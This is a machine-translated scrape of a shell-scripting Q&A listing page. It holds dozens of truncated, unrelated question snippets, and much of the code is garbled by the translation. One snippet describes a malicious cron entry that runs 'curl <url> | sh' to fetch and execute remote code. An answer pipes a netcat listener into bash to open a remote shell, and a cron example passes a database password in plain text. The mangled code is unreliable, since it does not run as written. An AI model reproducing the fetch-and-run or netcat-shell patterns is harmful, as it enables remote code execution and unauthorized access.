是否可以使用以下组合打印shell命令的执行时间
root@hostname:~# "command to execute" && echo "execution time"
它还区分使用的实时时间和使用的系统时间。time是大多数shell中的内置命令,用于将执行时间信息写入tty
你也可以试试类似的东西
start_time=`date +%s`
<command-to-execute>
end_time=`date +%s`
echo execution ti
我有大量的源文件,它们的结尾都没有换行符
如何自动在每一行的末尾添加换行符
有些可能已经有了换行符,因此只有在必要时才应该添加它
我可能不是在寻找代码本身,而是我可以在终端中运行的东西来添加必要的换行符(或某种编程或开发工具)。如果您可以访问Unix工具,您可以运行diff来找出哪些文件缺少换行符,然后将其追加:
#!/bin/sh
for i
do
if diff /dev/null "$i" | tail -1 | grep '^\\ No newline' > /dev/null
伙计们正在写一个shell脚本。这里我想把一个十进制数字转换成2位的十六进制值,例如,如果我给9,它必须giv为09。
我已经做了
对于{0..255}中的i;做
hexa=$(echo“obase=16;$i”| bc)
完成
但对于前10个vlaues,它返回一个单位数的十六进制值
现在我该怎么转换这个呢
提前感谢 您可以使用printf:
$ printf "%02x\n" 12
0c
请参阅所选shell的手册。您可以使用printf:
$ printf "%02x\n" 12
0
我需要用几个文件配置一个服务器,并且我希望以编程方式进行配置
我需要创建文件,比如/home/a.config、/var/spool/b.config、/etc/c.config
上面的文件有一些内容(多行)
我想创建一个shell脚本,它可以用多行(大约10行)创建所有三个文件。
我想知道如何使用CAT命令来执行此操作。(内部shell脚本)
我看起来像这样
echo " going to create /home/a.config"
cat "HOW CAN I HAVE MULTIPL
我解决不了这个问题。当我执行这个程序时,我得到以下错误
第7行:查找匹配“%1”时出现意外EOF
更新:来自其他最近关闭的问题
更具体地说,这是我的项目代码
if [ "$FORMAT" = "java" ]; then
cat $INPUT_FILE | awk -F":" '\
/^$/ { print "" }\
/^\/\/.*/ { print " "$0}\
/:s
所以我以为我是个老混蛋,对他的Bourne/POSIX shell了如指掌。尽管如此,当我得知一个新特性时,有时我还是会感到惊讶。甚至在25年后也会发生。示例:
case语句中模式的可选打开参数:
case $foo in
(bar) foobar;;
(baz) foobaz;;
esac
使我的vi%运动命令满意,因为括号现在是对称的
重定向可以出现在简单命令中的任何位置,而不仅仅出现在最后一个参数之后:
>ls.out ls
>wc.out wc <.p
我正在使用cygwin进行shell编程,这是我的第一个程序,我无法理解for循环中标题第4行提到的错误
ski=0
wski=1
rwski=950435
for (( i = 1; i < 77; i++ ))
do
if [ $i -lt 45] ; then
dd if=3d.jpg ibs=1024 count=1 skip=$ski of=myimage.dd obs=1024 seek=$wski conv=notrunc
有自定义的Drop消息队列轮询器,我正试图通过ubuntu中的/etc/init.d启动它。
所有3个脚本都是超级简单的一行程序,通过命令行可以完美地工作,但由于某些原因,只有一个脚本在服务器启动时真正工作。都有775次烫发,效果非常好:
sudo /etc/init.d/app-poller.sh
下面是一个示例脚本(必须以www数据用户身份运行):
我已通过以下方式多次运行删除/重新输入inittab条目:
updates-rc.d -f app-poller.sh remove
upd
正在为windows 7中的自定义文件类型编写自定义属性处理程序。我已经安装了Windows7SDK并构建了示例属性处理程序。注册处理程序后,它在Windows资源管理器中运行良好,但在“公用文件打开”对话框中,自定义值不会出现。有人知道我是否需要做一些特殊的事情来让属性显示在公共对话框中吗
探索者:
文件打开对话框:
好的,算了。这是交易。我的应用程序是32位的,我在x64系统上。因为PropertyHandler是用x64编写的,以支持进程外的shell。但对于文件打开对话框,它需要在进程
是否可以向lynx(在配置文件~/.lynxrc中)添加一个自定义键映射,该键映射将信息(例如当前URL、html、标题等)发送到shell命令
一个示例用例:
我在OSX上,shell有一个命令open,它试图以默认方式打开任何给定给它的内容。因此,如果我在lynx中,希望将当前网页移动到默认浏览器,我希望从shell调用打开当前url
另一个:
通过向shell脚本(或其他内容)发送URL和标题来整理有组织的书签文件
使用默认的键映射打开默认的shell,但它既没有给我URL,也没有像我希望
我有一个如下所示的文件:
file1
文件2
文件3
.
.
.
菲林
我想将其转换为:
echo“file1”
cat文件1
回显“文件2”
cat文件2
.
.
.
.
回声“文件”
猫锉
一种方法是使用for循环,读取原始文件的内容,然后将修改后的内容写入另一个文件,我这样做了,它成功了。在vim到:g或任何其他命令中是否有任何命令可以执行相同的操作?尝试以下操作:
:%s/.*/echo "\0"\rcat \0/g
说明:
:%s/a/b/g表示搜索整个文件并将a替换为b
*表示
我有两个文件,每个文件有两列
File1具有以下列:
ECDLT 5
DBG0 0
AHDST 53
RSNDL 10
DBLOG 2
ATDLM 1
ATREJ 1
DLMKT 0
AKDRP -100
ALTCM 100000000
BCPTM -1000000000
PERFS 1
OMSTD 1
LDTHD 1
DGCAN 1
HRLOG 1
AKALT 0
ECDLT 5
DBG0 0
MFLOR
我正在编写一个KornShell(ksh)脚本,该脚本正在记录到一个文件中。我正在将我的一个命令(scp)的输出重定向到同一个文件,但如果可能的话,我想在日志文件中这些行的开头添加一个选项卡
这可能吗
编辑:我还应该提到,我重定向的文本来自stderr。我的线路目前如下所示:
scp -q ${wks}:${file_location} ${save_directory} >> ${script_log} 2>&1
注意:以下内容不适用于ksh(有关可能的解决方案,请
在shell脚本中,我正在对URL的数量运行nslookup
有时某些url返回无法解决错误。我需要在变量中捕获这些错误
下面是获取返回的ip地址的nslookup代码
output=$(nslookup "$URL" | grep Add | grep -v '#' | cut -f 3 -d ' ' | awk 'NR>1' )
现在在同一个变量输出中,我想捕获错误
nslookup: can't resolve
我正在文件中捕获的标准数据
我尝试了不同版本的re-directio
我的命令失败,因为文件“Lemon Tree.mp3”包含空格,所以xargs认为它是两个文件。我可以让find+xargs使用这样的文件名吗?试试看
$ ls *mp3 | xargs mplayer
Playing Lemon.
File not found: 'Lemon'
Playing Tree.mp3.
File not found: 'Tree.mp3'
Exiting... (End of file)
而不是
find . -name \*.mp3
我只是偶然发现了这个问题。我试图编写一个非常基本的Makefiletarget:
core: myprogram
ulimit -c 10000
./myprogram
ulimit -c 0
其思想是将内核大小限制设置为适当的值,使程序崩溃,然后将内核大小限制重置为零。调用此规则时,我收到以下错误消息:
$ make core
cc -Wall -Wextra -m32 -g -o example example.c
ulimit -c 1
我尝试按字段1(忽略ccc)对该文件进行排序,如果相等,则按字段2作为数字进行排序:
ccc1 4
cccY 1
cccY 5
cccX 2
cccX 10
ccc10 4
ccc1 10
ccc2 5
我正在以sort-t$'\t'-k1.4,1n-k2,2n的形式运行sort,但没有得到预期的输出:
cccY 1
cccX 2
cccY 5
cccX 10
ccc1 4
ccc1 10
ccc2 5
c
我有8个并行运行的后台进程(也是shell脚本),我将它们命名为run1.sh,run2.sh。。。因此,主要流程如下所示:
#main.sh
./run1.sh &
./run2.sh &
./run3.sh &
...
./run8.sh &
我想确定这8个过程中的每一个是否都已完成,并计算每个过程完成时经过的时间。因此,先运行run1.sh并不能保证它会先完成。您可以尝试:
#main.sh
time ./run1.sh &
time ./run2
我正试图在AIX中构建一个脚本,并计划将其作为cron作业运行。
我希望脚本检查根密码是否将在10天后过期,并触发电子邮件。我已经编写了一个脚本来触发邮件,但我不知道如何为root用户编写密码过期脚本
这是用于发送邮件的脚本
#!/bin/sh
sendmail -t -F 'ABC ' -f 'abc@xyz.com' << test.mail
From: ABC <abc@xyz.com>
To: def@xyz.com
Subject:
Password expi
我有大量大小巨大的文本文件,并且使用shell脚本,希望搜索每个文件以识别一个字符串,例如“&abcdef”(表示每个记录的结尾),并且仅当它出现在连续行中时才打印
输入文件内容file-a,其中一个文件的示例;还有其他类似但巨大的文件:
1239560059 TAB001
8E12222439 TAB001
84dswe6059 &abcdef
8229559179 &abcdef
8012156059 TAB001
804E122224
我正在尝试编写一个脚本,使call virtualenvwrapper的workon命令根据屏幕会话名称跳转到现有的virtualenv
我已经设法让它在会话启动时工作,但我希望每次创建窗口时都能运行命令,而我找不到钩子或类似的东西
屏幕是否允许每次在会话中创建窗口时都运行命令?尝试将逻辑放入~/.profile(如果使用deflogin on设置)或~/.mkshrc(或类似文件,取决于shell)文件中。大概是这样的:
if test -n "$STY"; then
# we
在shell中,复制现有目录中的文件以便得到相同的文件但扩展名不同的好方法是什么?比如说:
path/view/blah.html.erb
并加入:
path/view/blah.mobile.erb
因此,在路径/视图目录中,将有:
path/view/blah.html.erb
path/view/blah.mobile.erb
理想情况下,我希望在目录级别执行此操作,如果文件已经有两个扩展名,但这不是必需的,则不创建该文件。您可以执行以下操作:
cd /path/view/
for
我有一个文件如下
<SHORTCUT COMMENTS ="" DBDNAME ="xsxx_db2" FOLDERNAME ="XS_SHARED" NAME ="Shortcut_to_xx_CNTC_T" OBJECTSUBTYPE ="Source Definition" OBJECTTYPE ="SOURCE" REFERENCEDDBD ="xsxx_db2" REFERENCETYPE ="LOCAL" REFOBJECTNAME ="XSC_CLNT_CNTC_T" REP
我有一个带有空格分隔值的文件,我需要将其更改为逗号分隔值。但是我有一些字符串列,它们在“”中被引用(双引号),并且在字符串列中可能有空格。我需要抑制“,并需要使文件以,作为分隔符
请您使用Unix(shell)脚本帮助转换此文件,好吗
样本数据:
abcd "Bala Chuppala" 1 200 "" "Norway" "" ? ? 9 88
ab "Joh Tanni S V S" 200 2 ? "Swiss" 1 100 200 ?
abcd,Bala Chuppala
在我的makefile中,我试图捕获对包含命令字符串的make变量的shell函数调用的输出,但没有成功。当我直接在字符串上运行shell函数时,它可以工作。我不明白在命令字符串上运行shell函数与在包含命令字符串的make变量上运行shell函数有什么区别
PG_CONFIG = "/usr/pgsql-9.4/bin/pg_config/"
PG_INCLUDE1 = $(shell $$PG_CONFIG)
PG_INCLUDE2 = $(shell /usr/pgsql-9.4/bi
我有以下shell脚本。如果文件夹中不存在文件,则会引发以下错误。那么,我们如何处理这个问题,使脚本不会停止执行
错误:
mv: cannot stat `*': No such file or directory
脚本:
for file in *
do
fl=$(basename "$file")
flname="${fl%%.*}"
gunzip "$file"
我想在创建一个新文件时使用循环,其中每一行都是通过一个/单个步骤创建的:一些文本,然后引用步骤编号,然后是其他内容。我从这段代码开始,但它不起作用:
gawk '
{
for (i = 1; i <= 1000; i++)
print "begin\""i"\"text"i"end" # how to print a line break?
>> "path/to/output.txt"
}'
请帮助解决此问题。代码需要放在开始块中:
我使用gSystem在根代码中执行一个shell命令,该命令返回一个int,如下所示。但是,当我尝试将输出分配给代码内变量时,分配不会发生
int low_edge = 0;
low_edge = gSystem->Exec("ls ./folder | egrep -o '[0-9]{3,3}' | head -1");
我也尝试过gSystem->Exec(“ls./folder | egrep-o'[0-9]{3,3}'| head-1”)>>low_edge,但没有成功
我是否遗
我有两个文件
reference.txt
hello/john,hi/roshan,bye/jill,ok/rashmi
main.txt
ok/sara/1.0,hello/john/2.1,to/mary/1.2,bye/jill/3.1,cya/trina/2.1
所以现在我需要创建一个新的文件output.txt,如下所示
hello/john/2.1,bye/jill/3.1
基本上,reference.txt应该在main.txt中进行查找,如果模式匹配,它应该从main.tx
Groovy、Closes和Jenkins的新成员
我创造了一份种子工作:
def Job1 = 'FromTemplate-testJob'
job {
name Job1
steps {
shell( "echo Hello > out5.txt" )
shell( "/c echo custard > op4.txt")
}
}
它按预期成功创建了包含2个shell命令的子作业:
echo Hello > out5.t
我试图循环浏览目录中的一组文件,并对它们执行某些活动。当我使用ksh执行脚本时,它会按预期工作。但是当我用./执行它时,它失败了,错误地说了太多的参数。请帮帮忙。
脚本名称:Script1
使用ksh Script1 argument1执行时,它会按预期工作。
但当使用/Script1 argument1执行时,抛出的参数太多,则会出错
#!/bin/bash
cd ../SrcFiles
if [ -e *$1* ]
then
for file in *$1*
do
echo $file
i
无法使用sed插入新行和制表符
cat /etc/login.conf | sed -e 's|:umask=022:|:umask=022:\\\n:charset=UTF-8:|g'
:umask=022:\\\n\t\t:charset=UTF-8:\\\n\t\t:lang=en_US.UTF-8:
由于某些sed版本不支持插入\n,您可以尝试使用literal$'\n'和$'\t'字符:
cat /etc/login.conf | sed -e 's|:umask
我们如何为*nix命令提示创建这样的交互式UI?我在谷歌上搜索了很多,但我对结果很满意
“Unix/Linux命令行界面”,而不是关于如何为命令行构建这样的UI。
任何线索都会有帮助
看看ncurses
这可能就是你想要的看看网络课程
这可能就是你要找的
我有一台没有SSHD的机器,我想从远程机器(我可以完全控制)打开这台机器上的bashshell
由于我在有限的机器上安装了SSH,因此我配置了一个反向代理:
$ ssh -R 19999:localhost:22 remoteuser@remotemachine
现在我在端口19999上有一个从“完全控制”机器到“有限”机器的连接。如何使用此设置打开shell?您可以通过管道将输入从某个端口直接传输到bash。这是在软件中误用各种错误时的常见做法。例如,在完全访问计算机上运行:
nc -lvp
我有一个shell脚本,它通过crontasks将遇到的错误发送给我,如下所示:
exec >&-;
output="$(cat)";
shopt -s nocasematch
if [[ "$output" == *"error"* || "$output" == *"warning"* ]]; then
echo "$output" | mail -s "Error" my@email.com;
fi
exit 0;
我的crontab看起来像:
*/1 *
我曾经有一个cron作业来运行数据库的每日备份:
00 3 * * * ~/bin/dbbackup.sh
当我在两天前检查它时,它丢失了,并且添加了一个新的cron作业(url):
*/60 * * * * curl https://<SOME_URL_POINTING _TO_SH_FILE> | sh
*/60****curl https://sh
所以我只是删除了cron作业(url),并用我的替换回来,因为我认为可能有人无意中删除了它或正在测试某些东西。但是第二天,
当我检查Powershell的提示功能时,我注意到,$ExecutionContext.SessionState.Path.CurrentLocation用于获取当前路径,因此它与$pwd之间有什么区别?$ExecutionContext.SessionState.Path.CurrentLocation和$pwd实际上有区别
当您使用$PWD时,实际上您将得到$ExecutionContext.SessionState.Path.CurrentLocation的结果
然而,如果您使用$Exec
我有一个shell变量sampleDir:
sampleDir=/home/sample*
echo $sampleDir
将提供:
/home/sample_001 /home/sample_002 /home/sample_003
(注意,示例_***下有子目录)
如果我想计算$sampleDir变量中的这些项目的数量,那么最好的方法是什么?(期望返回3)将变量存储在数组中:
sampleDir=(/home/sample*)
使用参数展开获取阵列中的项目数:
echo "${#sam
标签: Shell
shbandwidthtrafficshaping
我正在尝试使用ipset进行带宽控制。我修改了它以获得ipsetnames
这是我的手稿
TC=/sbin/tc
IF=wlan0 # Interface
DNLD=1mbit # DOWNLOAD Limit
UPLD=1mbit # UPLOAD Limit
IP1="myIPset1" # Host IP
IP2="myIPset2"
U32="$TC filter add dev $IF protocol ip pa
雇员:
我想通过运行配置单元脚本sample.hql获取2016年的记录
use octdb;
select * from '${hiveconf:table}' where year = '${hiveconf:year}';
[cloudera@quickstart ~]$ hive -hiveconf table='employee', year=2016 -f sample.hql
但是我收到错误NoViableAltException(307@[])……您需要使用--hiveco
我有以下问题:
我想使用xargs find结构来查找文件。
不同之处在于,我不想在中使用find作为command1,而是作为command2使用:
command1 | xargs command2
如果文件名中有空格,则会出现问题
例如:
如果我正在尝试:
echo 01.Here Comes The Night Time II.flac | xargs -pi find ~/Multimedia/Musik/flac/ -name "\""{}"\""
find ~/Multimed
嗨,我有两个制表符分隔的文本文件
file.1.txt
Chr Start End Ref Alt
chr1 4204560 4204560 T C
chr1 9471179 9471181 ATA -
chr1 9471230 9471230 A C
chr1 9471247 9471247 T C
chr1 9471254 9471254 C A
chr1 9471261 9471262 AA -
chr1 9471262 94
我收到了来自以下CRON作业的电子邮件,但附带了一个空白文件。我已经检查了/home/XXXXXX/public_html/tmp/目录,在该/tmp/文件夹中创建了一个好的tqhsa_hikashop_order.txt文件,但我收到的电子邮件所附的文件是空的
mysql --database=XXXXXXXX_jml_6UCHadruwR8veju3 -u XXXXXXXX_8eh6Nu --password=fRa6r7wRerEtuzud -B -e "SELECT order_numb
这里有一个abc.csv/abc.txt文件(将自动生成),我想在创建该文件后立即将其转换为abc.xls,并想使用shell脚本将该abc.xls文件自动附加到服务器(LINUX/UNIX)的邮件中。Excel可以读取csv文件。添加SEP=作为第一行作为一个sep。当您不需要时,不要尝试编写excel(版本为)。如果你真的想要一些excel魔术,请在excel中编写一些makro,并在客户机上安排新文件。也许这有助于:
我想删除模式“name:””前一行和模式(包括模式本身)后一行。我尝试了以下命令,但这不是修改文件本身。我想做就地改造。请帮忙
forward-zone:
name: "."
forward-addr: 10.1.1.2
forward-zone:
name: "mydomain.com"
forward-addr: 10.1.1.1
像这样的东西可能合适
sed -n '/name: "."/{N;s/.*//;x;d;};x;p;${x;p;}' file
-i选项允许Sed就地修改文
标签: Shell
whitespacefilenames
我在目录里。文件名为“Ch2测验”
在conda提示符中,我正在键入:
python测验Ch2.py
给出错误:
python:无法打开文件'quick':[Errno 2]没有这样的文件或目录这不是python问题,更像是shell问题。您需要将“quick Ch2.py”作为一项传递给命令“python”作为其参数
通常,外壳将允许以下任何一种:
python Quiz\ Ch2.py
python 'Quiz Ch2.py'
python "Quiz Ch2.py"
第一个使用\来转义空
我尝试了很多方法在jenkins中存储一个值。但我无法在Jenkins的Shell脚本中为变量赋值
首先,我设置了一个名为branch的环境变量,其值为*/release/hotfix
所以我试着用这个词,像这样保存在新的变量中
VALUE=$($branch | sed -e 's/\*\/.*\///g')
我做了这么多实验来保存价值。这行不通
在我的研究中,我找到了一种给变量赋值的方法,但是插件()可能不安全
为什么我不能将值保存到Jenkins shell中的变量?我该怎么做?我找到
我有一个文件夹,里面有一堆文件,格式为xxxxxx\u MMddyyHHmmss.json。我想找到唯一的xxxxxx组件,因为有些组件是在不同时间创建的副本
我引用了这个问题,但作为一个很少冒险进入Powershell的人,我无法让它工作
$result=Get ChildItem C:\Users\\Desktop\FileData\*-recurse-name-include*.json |%{$|.split(“|”)[0]|排序对象-唯一
但我不能让它实际执行。它只是在返回时转到下一
我正在使用Jenkins CLI安装文件中列出的Jenkins插件列表
但是,有些安装在第一次尝试时失败。重新尝试后,安装成功。
如何确保再次尝试调用CLI的命令
while read line; do
xargs java -jar jenkins-cli.jar -s https://127.0.0.1:8443/ -noCertificationCheck install-plugin $line
done < plugins.txt
读行时;做
xargs java-jar
尝试了其他解决方案,但没有给出正确的解决方案我的时间格式是[Thu Aug 20 09:28:51 2020]。最接近的是这个
awk -vDate=`date -d'now-2 hours' +[%a %b %d %H:%M:%S %Y]` '$4 > Date {print Date, $0}' $input
我的日志文件是这样的
[Thu Aug 20 09:10:51 2020] [error] vendor
[Thu Aug 20 09:23:51 2020] [err
1 2 3 4 5 6 ...
下一页 最后一页 共 237 页